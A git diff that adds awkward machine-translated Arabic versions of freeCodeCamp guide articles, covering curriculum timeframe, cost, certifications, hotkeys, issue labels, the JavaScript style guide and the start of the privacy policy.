+نحن نترجم تحدياتنا إلى اللغات الأصلية بحيث يمكنك التركيز على تعلم البرمجة ، بدلاً من التركيز على تعلم اللغة الإنجليزية.
+
+نجح العديد من المتحدثين بالإنجليزية غير الناطقين باللغة الإنجليزية في برنامج مشروعنا غير الربحي. مع بعض الجهد ، يمكنك ، أيضا.
+
+إذا كنت بحاجة إلى ممارسة مهاراتك في اللغة الإنجليزية أو [تلميعها](https://www.duolingo.com/) ، فحاول استخدام [Duolingo](https://www.duolingo.com/) ، فهو مجاني ويسمح لك [بالتدريب ومتابعة](https://www.duolingo.com/) تقدمك.
\ No newline at end of file
diff --git a/client/src/guide/arabic/meta/free-code-camp-completion-timeframe/index.md b/client/src/guide/arabic/meta/free-code-camp-completion-timeframe/index.md
new file mode 100644
index 0000000000..bd1d9518a0
--- /dev/null
+++ b/client/src/guide/arabic/meta/free-code-camp-completion-timeframe/index.md
@@ -0,0 +1,14 @@
+---
+title: Free Code Camp Completion Timeframe
+localeTitle: الجدول الزمني للمخيم مع استكمال الجدول الزمني
+---
+يستغرق إكمال Free Code Camp حوالي 2،080 ساعة.
+
+Free Code Camp هو عبر الإنترنت بالكامل ، وسيكون هناك دائمًا أشخاص آخرون على مستوى مهارتكم يمكنك من خلاله إقران البرنامج ، حتى تتمكن من التعلم وفق سرعتك الخاصة. فيما يلي بعض الأمثلة على جداول الترميز:
+
+الوقت في الميزانية | ساعات في الأسبوع أسابيع لإكمال  
+\--- | --- | ---  
+عطلة نهاية الاسبوع | 10 ساعات / أسبوع | 208 أسبوعًا (48 شهرًا)  
+ليال و عطلات نهاية الأسبوع 20 ساعة / أسبوع | 104 أسبوعًا (24 شهرًا)  
+بدوام كامل | 40 ساعة في الأسبوع 52 أسبوعًا (12 شهرًا)  
+Bootcamp التقليدية Pacing | 80 ساعة في الأسبوع 26 أسبوعًا (6 أشهر)
\ No newline at end of file
diff --git a/client/src/guide/arabic/meta/free-code-camp-cost/index.md b/client/src/guide/arabic/meta/free-code-camp-cost/index.md
new file mode 100644
index 0000000000..d199780d69
--- /dev/null
+++ b/client/src/guide/arabic/meta/free-code-camp-cost/index.md
@@ -0,0 +1,11 @@
+---
+title: Free Code Camp Cost
+localeTitle: تكلفة مخيم رمز الحرة
+---
+سنكون دائمًا مجانيًا تمامًا لكل من الطلاب والمنظمات غير الربحية.
+
+اسمنا هو Free Code Camp. نحن معسكر حر. إذا كان عليك أن تدفع لنا (أو توقع على الأرباح المستقبلية) ، فسيتعين علينا تغيير اسمنا. ونحن لن نفعل ذلك.
+
+كل شخص يعمل في مجتمعنا ومشاريعنا مفتوحة المصدر هو متطوع.
+
+نحن نخطط في نهاية المطاف لتغطية تكاليف التشغيل لدينا من خلال كسب مكافآت التوظيف من الشركات التي توظف خريجيها. لاحظ أننا لن نقوم بتزييف أي أجور من خريجينا - حيث يدفع أصحاب العمل بالفعل آلاف من الدولارات للحصول على مرشحين ناجحين. سوف يدفع أصحاب العمل ببساطة مكافأة التوظيف إلى Free Code Camp بدلاً من دفع المجند.
\ No newline at end of file
diff --git a/client/src/guide/arabic/meta/free-code-camp-deployment-workflow/index.md b/client/src/guide/arabic/meta/free-code-camp-deployment-workflow/index.md
new file mode 100644
index 0000000000..435d4cc2f7
--- /dev/null
+++ b/client/src/guide/arabic/meta/free-code-camp-deployment-workflow/index.md
@@ -0,0 +1,12 @@
+---
+title: Free Code Camp Deployment Workflow
+localeTitle: مدونة مجانية كامب نشر العمل
+---
+1.  يتم كتابة جميع الرموز ودفعها إلى فرع على شوكة المطورين الخاصة في Free Code Camp.
+2.  يقوم المطورون بإنشاء طلبات سحب ، وسحب رمز من فروعهم إلى فرع التدبير في Free Code Camp.
+3.  شخص آخر غير الشخص الذي قام بتقديم طلب السحب لطلب ضمان الجودة ويقبله إذا كان كل شيء على ما يرام. وإلا ، فإنها تغلق طلب السحب مع توضيح سبب عدم كونه مثاليًا ، ويفتح المطور طلب سحب آخر بمجرد إصلاح الأشياء.
+4.  يتم نشر Master إلى freecodecamp.com بشكل دوري.
+
+## ملاحظات:
+
+*   هذا قابل للتغيير بمجرد حصولنا على تغطية إختبار أفضل وعمل تكامل مستمر.
\ No newline at end of file
diff --git a/client/src/guide/arabic/meta/free-code-camp-external-resources-recommendations/index.md b/client/src/guide/arabic/meta/free-code-camp-external-resources-recommendations/index.md
new file mode 100644
index 0000000000..666038445e
--- /dev/null
+++ b/client/src/guide/arabic/meta/free-code-camp-external-resources-recommendations/index.md
@@ -0,0 +1,55 @@
+---
+title: Free Code Camp External Resources Recommendations
+localeTitle: معسكر حر تعليمات الموارد الخارجية
+---
+يرجى ملاحظة أن Free Code Camp ليس شريكًا ، ولا نتلقى رسوم إحالة من أي من مقدمي الخدمات التاليين. نحن نريد فقط أن نساعدك في إرشادك نحو حل لمؤسستك.
+
+## منظمات المتطوعين القائمة على المهارات:
+
+*   [http://givecamp.org/](http://givecamp.org/)
+*   [http://www.volunteermatch.com](http://www.volunteermatch.com)
+*   [http://www.catchafire.org](http://www.catchafire.org)
+*   [http://anyonecanhaveawebsite.com](http://anyonecanhaveawebsite.com)
+
+## بناء موقع على شبكة الانترنت:
+
+*   [http://www.wix.com/](http://www.wix.com/)
+*   [https://www.squarespace.com/](https://www.squarespace.com/)
+*   [https://wordpress.com/](https://wordpress.com/)
+*   [https://xprs.imcreator.com](https://xprs.imcreator.com)
+*   [أو بنائه مجانًا دون كتابة أي رمز](https://forum.freecodecamp.com/t/how-to-build-a-website-without-writing-any-code/19503)
+
+## نظم المانحين والمتطوعين
+
+*   [http://causesignal.com](http://causesignal.com)
+*   [https://www.thedatabank.com/](https://www.thedatabank.com/)
+*   [http://www.donorsnap.com/](http://www.donorsnap.com/)
+*   [http://www.donorperfect.com/](http://www.donorperfect.com/)
+*   [https://www.blackbaud.com/fundraising-crm/etapestry-donor-management](https://www.blackbaud.com/fundraising-crm/etapestry-donor-management)
+*   [http://www.z2systems.com](http://www.z2systems.com/)
+*   [http://www.regpacks.com/volunteer-management](http://www.regpacks.com/volunteer-management/)
+*   [http://sumac.com](http://sumac.com/)
+*   [http://www.volgistics.com](http://www.volgistics.com)
+
+## نظم إدارة المخزون
+
+*   [https://www.ezofficeinventory.com/industries/non-profits](https://www.ezofficeinventory.com/industries/non-profits)
+*   [https://www.ordoro.com](https://www.ordoro.com)
+*   [http://www.unleashedsoftware.com](http://www.unleashedsoftware.com)
+
+## منصات التعلم الإلكتروني
+
+*   [http://www.dokeos.com](http://www.dokeos.com/)
+*   [http://www.efrontlearning.net/](http://www.efrontlearning.net/)
+*   [https://moodle.org/](https://moodle.org/)
+*   [https://sakaiproject.org/](https://sakaiproject.org/)
+
+## إدارة المجتمع
+
+*   [https://civicrm.org/](https://civicrm.org/)
+*   [http://tcmgr.com/](http://tcmgr.com/)
+
+## نماذج الكترونية
+
+*   [http://www.google.com/forms](http://www.google.com/forms)
+*   [http://www.typeform.com](http://www.typeform.com)
\ No newline at end of file
diff --git a/client/src/guide/arabic/meta/free-code-camp-full-stack-development-certification/index.md b/client/src/guide/arabic/meta/free-code-camp-full-stack-development-certification/index.md
new file mode 100644
index 0000000000..54077d2b9d
--- /dev/null
+++ b/client/src/guide/arabic/meta/free-code-camp-full-stack-development-certification/index.md
@@ -0,0 +1,30 @@
+---
+title: Free Code Camp Full Stack Development Certification
+localeTitle: معسكر حر كامل التنمية شهادة كومة
+---
+## معسكر حر كامل التنمية شهادة كومة
+
+### نظرة عامة
+
+هناك ستة شهادات freeCodeCamp ، والتي يتم الحصول عليها من خلال إكمال المنهج المناظرة والمشروعات المطلوبة في [learn.freecodecamp.org](https://learn.freecodecamp.org/) :
+
+*   تصميم الويب سريع الاستجابة
+*   الخوارزميات وهياكل البيانات
+*   مكتبات الواجهة الأمامية
+*   عرض مرئي للمعلومات
+*   واجهات برمجة التطبيقات والخدمات Microservices
+*   أمن المعلومات وضمان الجودة
+
+عند الانتهاء من جميع الشهادات الست ، سيتم إصدار [شهادة برنامج تطوير المكدس الكامل](https://guide.freecodecamp.org/meta/free-code-camp-full-stack-development-certification/) FreeCodeCamp. يشير هذا التمييز النهائي إلى إكمال حوالي 1800 ساعة من الترميز مع التعرض لمجموعة واسعة من أدوات تطوير الويب.
+
+*   إذا لم يكن اسمك معروضًا على الشهادة ، فتأكد من أنك قمت بربط GitHub الخاص بك ، وأن ملفك الشخصي في GitHub قد تم ملؤه.
+
+![صورة لشهادة برنامج تطوير المكدس الكامل](//discourse-user-assets.s3.amazonaws.com/original/2X/1/1150a2e2473730df906909f820e3d8fdf54d6c14.png)
+
+لمزيد من المعلومات حول برنامج الشهادات الجديد ، راجع مشاركة المنتدى [هنا](https://www.freecodecamp.org/forum/t/freecodecamps-new-certificates-heres-how-were-rolling-them-out/141618) .
+
+### ترميز للمنظمات غير الربحية
+
+أصبح الترميز للمنظمات غير الربحية الآن عملية منفصلة عن برنامج الشهادة. يمكن الدخول إلى المشروعات الحالية المفتوحة للمساهمات في [Open Source for Good](https://www.freecodecamp.org/nonprofits/) .
+
+لمزيد من المعلومات حول برنامج الشهادات الجديد ، راجع مشاركة المنتدى [هنا](https://www.freecodecamp.org/forum/t/freecodecamps-new-certificates-heres-how-were-rolling-them-out/141618) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/meta/free-code-camp-honesty-policy/index.md b/client/src/guide/arabic/meta/free-code-camp-honesty-policy/index.md
new file mode 100644
index 0000000000..e24255db2f
--- /dev/null
+++ b/client/src/guide/arabic/meta/free-code-camp-honesty-policy/index.md
@@ -0,0 +1,13 @@
+---
+title: Free Code Camp Honesty Policy
+localeTitle: مدونة رمز المعسكر الصدق السياسة
+---
+قبل أن نصدر الشهادة التي تم التحقق منها إلى الكارافانات ، يجب عليه قبول تعهد أمانة الصدق ، والذي ينص على ما يلي:
+
+1.  أفهم أن الانتحال يعني نسخ عمل شخص آخر وتقديم العمل كما لو كان خاص بي ، دون أن ينسب بوضوح المؤلف الأصلي.
+    
+2.  أفهم أن الانتحال هو فعل خيانة الأمانة ، وأن الناس عادةً ما يُطردون من الجامعة أو يُطلقون من وظائفهم إذا ما وقعوا في حالة سرقة.
+    
+3.  بصرف النظر عن استخدام مكتبات المصدر المفتوح مثل jQuery و Bootstrap ، والمقتطفات القصيرة من الشفرات التي تُنسب بوضوح إلى مؤلفها الأصلي ، تم كتابة 100٪ من الشفرة في الخوارزميات ومشاريع النهاية ومشاريع الواجهة الأمامية بواسطتي أو مع شخص آخر الكارافر الذي كنت أقوم ببرمجة الزوج في الوقت الحقيقي.
+    
+4.  أتعهد بأنني لم أسرق أيًا من عمل معسكر Free Code Camp الخاص بي ، وأنني على ما يرام مع أي مدونة عشوائية لتدقيق Code Code قد تفعل لتأكيد ذلك.
\ No newline at end of file
diff --git a/client/src/guide/arabic/meta/free-code-camp-hotkeys/index.md b/client/src/guide/arabic/meta/free-code-camp-hotkeys/index.md
new file mode 100644
index 0000000000..ccb353e1cf
--- /dev/null
+++ b/client/src/guide/arabic/meta/free-code-camp-hotkeys/index.md
@@ -0,0 +1,34 @@
+---
+title: Free Code Camp Hotkeys
+localeTitle: معسكر حر Hotkeys
+---
+لدى freeCodeCamp عدد من مفاتيح الاختصار ، بحيث يمكن لمستخدمي الطاقة التنقل بسرعة.
+
+## كيفية استخدام مفاتيح الاختصار
+
+لاستخدام مفاتيح الاختصار هذه ، يجب الضغط على المفاتيح بالترتيب الذي تظهر به. من المهم ملاحظة أنه يجب عدم الضغط عليها في نفس الوقت.
+
+### إعادة توجيه مفاتيح الاختصار
+
+g n n يعيد التوجيه إلى التحدي التالي  
+g n a Redirects to the page page  
+g n m Redirects to the map  
+g n s Redirects to the shop  
+g n o إعادة التوجيه إلى الإعدادات  
+g n r يتم إعادة التوجيه إلى مستودع Free Code Camp GitHub  
+g n w Redirects to the forum
+
+### محرر hotkeys
+
+يجب الضغط على مفاتيح الاختصار هذه في نفس الوقت ، وليس بالترتيب.
+
+Ctrl + Enter لتشغيل الاختبارات. إذا كانت الاختبارات السابقة ناجحة ، فهذا يقدم التحدي وينتقل إلى الاختبار التالي  
+Ctrl + / تعليقات أو uncomments السطر الحالي أو الرمز المحدد
+
+### مفاتيح الاختصار الأخرى
+
+g m تبديل درج الخريطة  
+g t n تبديل الوضع الليلي  
+g c تبديل الدردشة الرئيسية (Gitter)
+
+Esc إذا قمت بالضغط على هذا أثناء ضبط إدخال البحث ، فإنه يقوم بإفراغ الإدخال
\ No newline at end of file
diff --git a/client/src/guide/arabic/meta/free-code-camp-infinite-loop-protection/index.md b/client/src/guide/arabic/meta/free-code-camp-infinite-loop-protection/index.md
new file mode 100644
index 0000000000..4f941126db
--- /dev/null
+++ b/client/src/guide/arabic/meta/free-code-camp-infinite-loop-protection/index.md
@@ -0,0 +1,32 @@
+---
+title: Free Code Camp Infinite Loop Protection
+localeTitle: معسكر حر لانهائي حماية حلقة
+---
+يحتوي رمز كود Free Code Camp على ميزة Infinite Loop Protect المضمنة من Loop Protect من [JSBin](https://github.com/jsbin/loop-protect) . تحمي الحلقة حماية بعض الشفرات في حلقات أنشأها المستخدم للسماح بالخروج الآمن في حالة مرور أكثر من ~ 500 مللي ثانية دون الخروج من الحلقة. سوف حماية حلقة التقاط العديد من ولكن ليس كافة المشكلات حلقة لا نهائية. إذا رأيت هذه الرسالة:
+
+`Error: Potential infinite loop at line X`
+
+هذا يعني أنك قد تم حمايتك من حلقة لا نهائية.
+
+**ملاحظة:** لا يمكن لـ Loop Protect اكتشاف العودية غير المحدودة.
+
+## تعطيل حلقة حماية
+
+في بعض الحالات - كمبيوتر بطيء أو حلقة طويلة - قد تحصل على حماية حلقة غير صحيحة. لتعطيل حماية الحلقة ، أضف التعليق التالي عبر سطر قوائم رسائل حماية الحلقة:
+
+`//noprotect`
+
+**تحذير:** تعطيل حماية الحلقة يعني أنك قد تسمح للشفرة بالانتقال إلى حلقة لا نهائية ، مما يتسبب في عدم استجابة المتصفح.
+
+## استعادة الشفرة غير المستجيبة
+
+إذا كنت قد أخطأت وحماية حلقة العزل بشكل غير صحيح ولديك الآن حل لا يستجيب ، يمكنك تعطيل تشغيل Auto Code.
+
+بشكل افتراضي ، يقوم موقع Free Code Camp تلقائيًا بتحميل وتشغيل آخر حل مسجل لك. إذا كنت قد أنشأت عن غير قصد حلقة لا نهائية أو خطأ آخر غير قابل للاسترداد أو ببساطة لا تثق في الشفرة ، فيمكنك تعطيل التفعيل التلقائي عن طريق وضع ما يلي في عنوان URL الخاص بك: run = disabled
+
+مثال:
+
+ `URL: http://www.freecodecamp.com/challenges/Algorithm-meet-Algorithm#?solution=function%20meetBonfire(argument) 
+ 
+ No-Run URL: http://www.freecodecamp.com/challenges/Algorithm-meet-Algorithm#?run=disabled&solution=function%20meetBonfire(argument) 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/meta/free-code-camp-issue-labels/index.md b/client/src/guide/arabic/meta/free-code-camp-issue-labels/index.md
new file mode 100644
index 0000000000..ed383069c4
--- /dev/null
+++ b/client/src/guide/arabic/meta/free-code-camp-issue-labels/index.md
@@ -0,0 +1,75 @@
+---
+title: Free Code Camp Issue Labels
+localeTitle: تسميات رمز مخيم الحرة
+---
+في هذه المقالة يمكنك العثور على تسميات (انظر الجدول أدناه) المستخدمة لتصنيف مجموعة متنوعة من القضايا المقدمة إلى FCC ، جنبا إلى جنب مع الأوصاف (العمل قيد التنفيذ). تتراوح التسميات من **الأخطاء** إلى **الأسئلة** إلى **طلبات المناهج الدراسية** .
+
+يمكنك استخدام التصنيفات لمساعدتك في اختيار المشكلات التي تنقر عليها ، بدلاً من النقر عليها عشوائيًا للعثور على واحدة من اهتماماتك. بالطبع ، يمكنك العمل على تقديم وتقديم المستفيدين الرئيسيين للمشكلات دون تسميات. ومع ذلك ، اخترت مشكلة ، يُرجى التأكد من قراءة [إرشادات المساهمة](https://github.com/FreeCodeCamp/FreeCodeCamp/blob/staging/CONTRIBUTING.md) قبل إرسال أي طلبات سحب.
+
+ملاحظة: التسميات **_المحظورة_** ، **_المؤكدة_** ، و **_QA_** ترتبط أيضًا بـ [Waffle](https://waffle.io/freecodecamp/freecodecamp) ، وهو نظام إدارة لمشكلات FCC (GitHub) ، وتتم إضافته وإزالته تلقائيًا.
+
+**التصنيف:** الوصف
+
+**إمكانية الوصول:** لا تخرق المشكلة بالضرورة الموقع ، ولكنها تجعل استخدامه أصعب (على سبيل المثال ، الاختبارات المستخدمة للتقييم أثناء كتابتك ، مما يؤدي إلى وميض الشاشة بأكملها). كما يشير هذا التصنيف إلى تحسينات في قابلية استخدام الموقع للأشخاص الذين يعانون من ضعف في الرؤية أو غيره من الإعاقات.
+
+**الحسابات:** يواجه العربة مشكلة في حساب FCC الخاص به ، مثل مشكلات تسجيل الدخول أو فقدان التقدم أو صفحة ملف شخصي تفتقد إلى بعض الحلول.
+
+الإصدار **التجريبي:** تتعلق المشكلة بالموقع التجريبي الذي تعتمده لجنة الاتصالات الفيدرالية.
+
+**تسليط الدراجة:** الطلب هو تافهة أو غير ذي صلة أساسا لأغراض الموقع. بعبارة أخرى ، القضايا التي ليس لها أي عواقب حقيقية ، ومع ذلك يصر الناس على إنفاق الدورات.
+
+**محظور:** مشكلة لا ينبغي العمل عليها ، في انتظار رد منشئ المحتوى أو مزيد من المعلومات ، أو لأن المشكلة قديمة.
+
+**bug: علة** مؤكدة وقابلة للاستنساخ في شفرة لجنة الاتصالات الفيدرالية (FCC) لا تحدث ، على سبيل المثال ، في Internet Explorer.
+
+**chrome:** يمكن إعادة إنتاج هذه المشكلة في Google Chrome فقط.
+
+**مؤكد:** تم التحقق من المشكلة التي تم الإبلاغ عنها. (تقول بشكل أساسي أن منشئ المشكلة قد نجح في نقل كيفية تكرار المشكلة ، ولكن لم يبدأ أحد في العمل على حل المشكلة).
+
+**طلب المنهج:** أي شيء مطلوب إضافته إلى المنهج الدراسي الحالي - على سبيل المثال ، طلب تحدٍ جديد ، وإضافة المزيد من التفسير للتحدي ، وما إلى ذلك.
+
+**خاصة بالجهاز:** تعرض هذه المشكلة فقط لجهاز معين (الهاتف الذكي أو الجهاز اللوحي أو سطح المكتب ، وما إلى ذلك).
+
+**مناقشة:** هذه المسألة حاليا في مرحلة المناقشة.
+
+**مكررة: تكرر** هذه المشكلة مشكلة أخرى وسيتم غالبًا غلقها.
+
+**لأول مرة فقط:** هذه المسألة ليست حرجة ولكن ينبغي أن يكون من السهل على العربة لإصلاح داخل أول زوجين من المستفيدين الرئيسيين. فكر في هذه على أنها بوابة الكارافور لتصبح مساهما.
+
+**التحسين: على** غرار طلب الميزة ، ولكنه أكثر صلة بتحسين الميزات الحالية بدلاً من إضافة ميزات جديدة.
+
+**طلب الميزة:** طلب لإضافة ميزة إلى FCC. على سبيل المثال ، طلب لإضافة القدرة على تحرير أو إزالة الخوارزميات من صفحة ملف تعريف العربة.
+
+**فايرفوكس:** يمكن تكرار المشكلة فقط في موزيلا فايرفوكس.
+
+**help help:** يحتاج المالكون أو مشرفو القضية إلى مساعدة المعسكر للتحقيق في المشكلة أو إصلاحها.
+
+**الارتفاعات:** ترتبط المشكلة بالمشي **لمسافات طويلة** (وهي غير متوفرة حاليًا في المناهج الدراسية).
+
+**أي / الحافة:** يمكن تكرار المشكلة فقط في Internet Explorer أو Microsoft Edge. تدعم FCC رسميًا Google Chrome فقط.
+
+**قيد التقدم: يعمل** شخص ما حاليًا على إصلاح المشكلة.
+
+**يجب أن تبدأ في أسرع وقت ممكن:** تحتاج هذه المسألة إلى المراجعة / الحل في أقرب وقت ممكن.
+
+**على خارطة الطريق:** بشكل عام ، هناك طلب ميزة من المقرر تنفيذها في التحديثات المستقبلية أو التي سيتم تنفيذها في المستقبل القريب.
+
+تأكيد الجودة **:** (ضمان الجودة) تم تقديم إصلاح ويجب مراجعته قبل الدمج.
+
+**سؤال:** القضية هي سؤال.
+
+**رد فعل:** القضية متعلقة بالانتقال إلى reactjs.
+
+**حل:** تم حل المشكلة / إصلاحها.
+
+**الاختبارات:** يجب إصلاح المشكلة بتحسين الاختبار ، مما يعني أن الشخص يحتاج إلى إصلاح التأكيد.
+
+**todo:** شيء ما يجب القيام به في المستقبل.
+
+**الترجمة:** المشكلة هي إما طلب ترجمة أو متعلقة بترجمة تم تنفيذها بالفعل.
+
+**ux:** (تجربة المستخدم) تشبه إمكانية الوصول ، ولكنها أقل شيوعًا حول ما إذا كان هناك أمر يصعب استخدامه أكثر من كونه يتعلق بتجربة المعسكر الذي يؤدي إلى تجربة سلبية للمستخدم. على سبيل المثال ، يتم استخدام هذه العلامة عندما يكون شيء ما معقدًا للغاية أو عندما يكون من الصعب فهم استخدام أحد العناصر.
+
+**wiki:** يتعلق بمقالات GitHub Wiki الخاصة بـ FCC. قد يكون طلب لإنشاء واحد.
+
+**wontfix:** المشكلة غير قابلة للإصلاح أو لن يتم إصلاحها في المستقبل القريب. على سبيل المثال ، إضافة دعم لمتصفح MS Edge.
\ No newline at end of file
diff --git a/client/src/guide/arabic/meta/free-code-camp-javascript-style-guide/index.md b/client/src/guide/arabic/meta/free-code-camp-javascript-style-guide/index.md
new file mode 100644
index 0000000000..d8a594de5d
--- /dev/null
+++ b/client/src/guide/arabic/meta/free-code-camp-javascript-style-guide/index.md
@@ -0,0 +1,126 @@
+---
+title: Free Code Camp JavaScript Style Guide
+localeTitle: الحر رمز مخيم جافاسكريب دليل الاسلوب
+---
+أو كيف يكتب الناس الباردون جافا سكريبت.
+
+## المسافة البادئة
+
+استخدم دومًا فضاءان  
+لا علامات التبويب الصلبة ، من أي وقت مضى. لا حقا ، فقط لا تفعل ذلك.
+
+## الأقواس المعقوفة
+
+استخدم الأقواس المعقوفة دائمًا عند استخدام الكلمات الرئيسية `if/else/else if` . هذا يمنع الكثير من الغموض ويمنع الأخطاء النحوية في بعض حالات الحواف.
+
+سيئة:
+
+ `if (foo) bar(); 
+` 
+
+حسن:
+
+ `if (foo) { bar(); } 
+` 
+
+## الأقواس مجعد في كل مكان!
+
+الفضاء بعد `function` الكلمة الرئيسية ، ما عدا في الوظائف المجهولة
+
+حسن:
+
+ `function foo() { 
+ } 
+ 
+ var foo = function() { 
+  // ... 
+ }; 
+` 
+
+سيئة:
+
+ `function foo () 
+ { 
+  // ... 
+ } 
+ 
+ var foo = function () { 
+  // ... 
+ }; 
+` 
+
+## تعليقات
+
+*   لا تعليقات مضمنة
+*   مساحة واحدة بعد `//`
+*   لا تستخدم تعليقًا متعدد الأسطر `/* */` ، فإننا نحتفظ به للاستخدام مع jsDocs.
+
+## الكلمات الدالة
+
+*   الفضاء على الفور بعد إذا ، آخر ، في حين ، وما إلى ذلك
+*   يجب أن يكون الدعامات المستديرة المفتوحة دائماً على نفس الخط.
+
+حسن:
+
+ `if (true) { 
+ // do the thing 
+ } 
+` 
+
+سيئة:
+
+ `if(true) 
+ { 
+ // do the thing 
+ } 
+` 
+
+## آخر
+
+تجنب آخر و "في وقت مبكر". في جافا سكريبت غالبا ما يكون هناك الكثير من المسافات البادئة (عادة عند التعامل مع رمز التزامن وتسمية "callback hell"). يجب أن يتم أي شيء يمكنك القيام به تقليل عدد المسافات البادئة. شيء واحد هو [تجنب آخر](http://blog.timoxley.com/post/47041269194/avoid-else-return-early) الكلمة.
+
+هذا أيضا له الأثر الجانبي لجعل نظافة الرمز وأسهل للقراءة.
+
+سيئة:
+
+ `someAsynFunc(function(err, data) { 
+  if (err) { 
+    callback(err); 
+  } else { 
+    // do stuff with data 
+  } 
+ }); 
+` 
+
+حسن:
+
+ `someAsynFunc(function(err, data) { 
+  if (err) { 
+    return callback(err); 
+  } 
+  // do stuff with data 
+  // saves one indent 
+ }); 
+` 
+
+## سلاسل طويلة
+
+يجب أن تكون السلاسل الطويلة متعددة الأسطر في أحد نموذجين:
+
+ `var longString = 
+  'long strings should ' + 
+  'be in this form, with the ' + 
+  'operator ending the line'; 
+ 
+ var foo = 'bar'; 
+ 
+ var longString = [ 
+  'long strings with variables such as ', 
+  foo, 
+  'should ', 
+  'be in this form, an array of strings ', 
+  'that are joined with the join array instance method', 
+ ].join(''); 
+` 
+
+…المزيد قادم
\ No newline at end of file
diff --git a/client/src/guide/arabic/meta/free-code-camp-logo/index.md b/client/src/guide/arabic/meta/free-code-camp-logo/index.md
new file mode 100644
index 0000000000..b6ed45a39a
--- /dev/null
+++ b/client/src/guide/arabic/meta/free-code-camp-logo/index.md
@@ -0,0 +1,11 @@
+---
+title: Free Code Camp Logo
+localeTitle: شعار المعسكر الحر
+---
+![شعار Code Camp مجانا](//discourse-user-assets.s3.amazonaws.com/original/2X/c/cf6e8e0a75acb7aa900eb304270a6407ae1d9e2c.jpg)
+
+ويستخدم حرف محرف 'saxmono'.
+
+مثل معظم أصول تصميم Free Code Camp ، تم إنشاؤه بواسطة [rybar](https://gitter.im/rybar) بمساعدة [iheartkode](https://gitter.im/iheartkode) .
+
+يمكنك تنزيل جميع أصولنا ، والتي هي ترخيص Creative Commons ، من [مستودع Assets Camp Free Code](https://github.com/FreeCodeCamp/FCCAssets) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/meta/free-code-camp-official-chat-rooms/index.md b/client/src/guide/arabic/meta/free-code-camp-official-chat-rooms/index.md
new file mode 100644
index 0000000000..65ff0ed92d
--- /dev/null
+++ b/client/src/guide/arabic/meta/free-code-camp-official-chat-rooms/index.md
@@ -0,0 +1,23 @@
+---
+title: Free Code Camp Official Chat Rooms
+localeTitle: معسكر كود الرسمي غرف الدردشة
+---
+### ملاحظة: إذا أتيت إلى هنا لأنك رأيت رسالة مفادها أن إحدى غرف الدردشة التي تكون عضوًا فيها قد أغلقت ، فيرجى [الانتقال إلى هنا](//forum.freecodecamp.com/t/simplifying-fccs-gitter-chatrooms/37621) .
+
+# فيما يلي غرف الدردشة الرسمية.
+
+**يرجى ملاحظة أن جميع غرف الدردشة المذكورة هنا يمكن الوصول إليها بشكل عام وفهرستها بواسطة محركات البحث ، لذلك لا تشارك سوى عناوين البريد الإلكتروني أو غيرها من المعلومات الحساسة في الرسائل الخاصة.**
+
+[FreeCodeCamp](https://gitter.im/freecodecamp/FreeCodeCamp) غرفة الدردشة الرئيسية لدينا - شنق ودردشة حول الحياة وتعلم رمز  
+[المساعدة في](https://gitter.im/freecodecamp/Help) الحصول على مساعدة بشأن HTML ، و CSS ، وتحديات jQuery من زملائك في المعسكر  
+[HelpJavaScript](https://gitter.im/freecodecamp/HelpJavaScript) للحصول على المساعدة في [حل مشاكل](https://gitter.im/freecodecamp/HelpJavaScript) جافا سكريبت وخوارزمية من زملائك من المعسكر  
+[HelpFront](https://gitter.im/freecodecamp/HelpFrontEnd) احصل على مساعدة في مشاريعنا الأمامية من زملائك في المعسكر  
+[HelpDataViz](https://gitter.im/freecodecamp/HelpDataViz) الحصول على مساعدة في مشاريع التصور البيانات من زملائك المعسكر  
+[HelpBackEnd](https://gitter.im/freecodecamp/HelpBackEnd) الحصول على المساعدة في مشاريعنا الخلفية من زملائك المعسكر  
+[CodeReview](https://gitter.im/freecodecamp/CodeReview) إعطاء وتلقي ردود الفعل البناءة من زملائك المعسكر الآخرين في مشاريعك  
+[YouCanDo إن](https://gitter.im/freecodecamp/YouCanDoThis) تعلم التعليمة أمر صعب - مشاركة مشاعرك والحصول على الدعم المعنوي هنا  
+[LetsPair](https://gitter.im/FreeCodeCamp/LetsPair) العثور على المعسكرين الآخرين الذين يمكنك الاقتران مع البرنامج  
+[يتحدث CodingJobs](https://gitter.im/FreeCodeCamp/CodingJobs) عن عملية الحصول على وظيفة ترميز ، مثل المحافظ ، والشبكات ، والمقابلات  
+[عارضة](https://gitter.im/freecodecamp/Casual) يمكنك الدردشة حول اهتماماتك غير المشفرة مع غيرها من المعسكر هنا  
+يساعدنا [المساهمون في](https://gitter.im/freecodecamp/Contributors) تحسين منهجنا المصدر المفتوح  
+[يساعدنا DataScience في](https://gitter.im/freecodecamp/DataScience) فهم بياناتنا [ومحفوظاتنا](https://gitter.im/freecodecamp/DataScience) من البيانات العامة
\ No newline at end of file
diff --git a/client/src/guide/arabic/meta/free-code-camp-privacy-policy/index.md b/client/src/guide/arabic/meta/free-code-camp-privacy-policy/index.md
new file mode 100644
index 0000000000..f20c62f124
--- /dev/null
+++ b/client/src/guide/arabic/meta/free-code-camp-privacy-policy/index.md
@@ -0,0 +1,65 @@
+---
+title: Free Code Camp Privacy Policy
+localeTitle: سياسة خصوصية كود الحر
+---
+تلتزم Code Code باحترام خصوصية زوار مواقع الويب وتطبيقات الويب الخاصة بنا. توضح الإرشادات أدناه كيفية حماية خصوصية الزائرين لموقع FreeCodeCamp.com ومميزاته.
+
+## معلومات التعرف الشخصية
+
+يحمي Code Camp هوية الزائرين لموقع FreeCodeCamp.com عن طريق الحد من جمع معلومات التعريف الشخصية.
+
+Free Code Camp لا يجمع أو يطلب معلومات شخصية عن أو من الأطفال دون سن 13 ، باستثناء ما يسمح به القانون. إذا اكتشفنا أننا تلقينا أي معلومات من طفل أقل من 13 عامًا ينتهك هذه السياسة ، فسنحذف هذه المعلومات على الفور. إذا كنت تعتقد أن Free Code Camp لديه أي معلومات من أو حول أي شخص أقل من 13 عامًا ، فالرجاء مراسلتنا على [team@freecodecamp.com](mailto:team@freecodecamp.com) .
+
+يتم استخدام جميع المعلومات الشخصية التي تزودنا بها من قبل Free Code Camp وفريقه لمعالجة وإدارة حسابك ، وتحليل المعلومات السكانية لمستخدمينا ، أو لتقديم الخدمات من خلال الموقع.
+
